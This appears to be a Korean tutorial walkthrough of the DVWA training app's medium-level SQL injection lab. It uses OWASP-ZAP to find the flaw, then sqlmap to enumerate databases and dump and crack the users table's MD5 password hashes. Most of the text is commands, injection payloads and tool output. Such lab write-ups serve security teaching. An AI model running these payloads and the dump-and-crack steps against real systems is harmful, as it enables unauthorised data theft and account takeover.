홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 DVWA: SQL Injection (medium level), owasp-zap + sqlmap 공략DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
이 실습설명서에는 취약점에 대한 이해없이도 칼리리눅스의
Vulnerability: SQL Injection medium level의 OWASP-ZAP 스캔
ID: 1 First name: admin Surname: admin 위와 같은 결과가 빨간 색으로 출력된다.
OWASP-ZAP으로 이동하여 해당 URL을 선택하고 오른쪽 마우스 단추를 눌러서
자동점검(Active Scan) 결과에서는
위의 그림은
위의 그림은 MySQL에 특화된 SQL구문삽입 취약점을 OWASP-ZAP이 탐지한 결과이다.
DBMS마다 오류 출력이 다른데,
POST http://192.168.206.136/vulnerabilities/sqli/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.206.136/vulnerabilities/sqli/ Cookie: PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 44 Host: 192.168.206.136 id=1+UNION+ALL+select+NULL+--+&Submit=Submit
OWASP-ZAP에서 SQL구문삽입을 탐지할 때 DVWA SQL Injection 훈련장으로 보낸 요청은 위와 같다.
Vulnerability: SQL Injection medium level의 sqlmap 공략
OWASP-ZAP에서 탐지한 SQL주입 취약점을 sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id
OWASP-ZAP의 점검 결과로부터 위와 같은
이제 sqlmap .... -p id (id 변수의 취약여부 확인) sqlmap .... -p id --dbs (데이터베이스 목록 확인) sqlmap .... -p id -D db_name --tables (db_name의 테이블 목록 확인) sqlmap .... -p id -D db_name -T table_name --columns (db_name.table_name의 컬럼 목록 확인) sqlmap .... -p id -D db_name -T table_name --dump (db_name.table_name 테이블 덤프) root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id _ ___ ___| |_____ ___ ___ {1.0.4.0#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:15:30 [12:15:30] [INFO] testing connection to the target URL [12:15:30] [INFO] testing if the target URL is stable [12:15:31] [INFO] target URL is stable [12:15:31] [INFO] heuristics detected web page charset 'ascii' [12:15:31] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable (possible DBMS: 'MySQL') [12:15:31] [INFO] testing for SQL injection on POST parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] [Enter] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [Enter] [12:15:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:15:33] [WARNING] reflective value(s) found and filtering out [12:15:33] [INFO] POST parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Surname: admin") [12:15:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [12:15:33] [INFO] POST parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable [12:15:33] [INFO] testing 'MySQL inline queries' [12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [12:15:33] [WARNING] time-based comparison requires larger statistical model, please wait..................... (done) [12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)' [12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [12:15:33] [INFO] testing 'MySQL > 5.0.11 stacked queries' [12:15:33] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [12:15:33] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [12:15:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [12:15:43] [INFO] POST parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable [12:15:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [12:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [12:15:43] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [12:15:43] [INFO] target URL appears to have 2 columns in query [12:15:43] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] [Enter] sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2003=2003&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit --- [12:15:47] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL 5.0 [12:15:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' root@kali:~#
위의 다음 단계는 이 MySQL DBMS가 관리하는 데이터베이스 목록을 확인하는 작업이다. 엄밀하게는 DVWA SQL Injection 웹 애플리케이션이 접근할 수 있는 데이터베이스만을 파악할 수 있다. root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id --dbs _ ___ ___| |_____ ___ ___ {1.0.4.0#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:37:54 [12:37:54] [INFO] resuming back-end DBMS 'mysql' [12:37:54] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2003=2003&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit --- [12:37:54] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL 5.0 [12:37:54] [INFO] fetching database names [12:37:54] [WARNING] reflective value(s) found and filtering out available databases [4]: [*] dvwa [*] information_schema [*] mysql [*] test [12:37:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' root@kali:~#
추가한 root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id -D dvwa --tables _ ___ ___| |_____ ___ ___ {1.0.4.0#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:43:52 [12:43:52] [INFO] resuming back-end DBMS 'mysql' [12:43:52] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2003=2003&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit --- [12:43:52] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL 5.0 [12:43:52] [INFO] fetching tables for database: 'dvwa' [12:43:52] [WARNING] reflective value(s) found and filtering out Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+ [12:43:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' root@kali:~#
root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id -D dvwa -T users --columns _ ___ ___| |_____ ___ ___ {1.0.4.0#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:02:56 [13:02:56] [INFO] resuming back-end DBMS 'mysql' [13:02:56] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2003=2003&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit --- [13:02:56] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL 5.0 [13:02:56] [INFO] fetching columns for table 'users' in database 'dvwa' [13:02:56] [WARNING] reflective value(s) found and filtering out Database: dvwa Table: users [8 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | failed_login | int(3) | | first_name | varchar(15) | | last_login | timestamp | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +--------------+-------------+ [13:02:56] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' root@kali:~#
root@kali:~# sqlmap --cookie="PHPSESSID=gem4rorstljssr3qglmr3mq6b0; security=medium" -u http://192.168.206.136/vulnerabilities/sqli/ --data "id=1&Submit=Submit" -p id -D dvwa -T users --dump _ ___ ___| |_____ ___ ___ {1.0.4.0#dev} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:03:42 [13:03:42] [INFO] resuming back-end DBMS 'mysql' [13:03:42] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2003=2003&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=1 AND (SELECT 3185 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(3185=3185,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))yaCe)&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x445944766975675574486266784c5866574f737a764241726e6a497969686b54796a6e434b734862,0x7176716271)-- -&Submit=Submit --- [13:03:42] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL 5.0 [13:03:42] [INFO] fetching columns for table 'users' in database 'dvwa' [13:03:42] [INFO] fetching entries for table 'users' in database 'dvwa' [13:03:42] [INFO] analyzing table dump for possible password hashes [13:03:42] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] [Enter] do you want to crack them via a dictionary-based attack? [Y/n/q] [Enter] [13:03:44] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > [Enter] [13:03:45] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] [Enter] [13:03:50] [INFO] starting dictionary-based cracking (md5_generic_passwd) [13:03:50] [INFO] starting 8 processes [13:03:51] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' [13:03:51] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [13:03:53] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [13:03:53] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [13:03:55] [INFO] postprocessing table dump Database: dvwa Table: users [5 entries] +---------+---------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+---------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 1 | http://192.168.189.248/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2016-11-30 19:39:37 | 0 | | 2 | http://192.168.189.248/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2016-11-30 19:39:37 | 0 | | 3 | http://192.168.189.248/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2016-11-30 19:39:37 | 0 | | 4 | http://192.168.189.248/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2016-11-30 19:39:37 | 0 | | 5 | http://192.168.189.248/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2016-11-30 19:39:37 | 0 | +---------+---------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [13:03:55] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.206.136/dump/dvwa/users.csv' [13:03:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' root@kali:~#
사람이 기억하기는 쉬우나 기계가 분석하기 어려운 암호를 설정하는 효과적인 방법은
실제 취약점 점검과정에서도 종종 이러한 사례가 발생하고는 한다 -
물론 비밀번호가 강력하게 설정된 경우에는 해쉬로부터 비밀번호를 알아내기가 거의 어렵다.
이제 관리자 계정과 일반 사용자 계정을 확보했으므로
정상적으로(?) 로그인하여 취약점 점검을 진행할 수 있다.
SQL구문삽입 공격은 수작업으로 진행할 경우에는 시간이 매우 많이 소요되는 작업이다.
[처음 작성한 날: 2016.12.22] [마지막으로 고친 날: 2016.12.22] < 이전 글 : DVWA SQL Injection (low, medium, high level) 실습 설명서 (2016.12.24) > 다음 글 : DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (2016.12.27) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |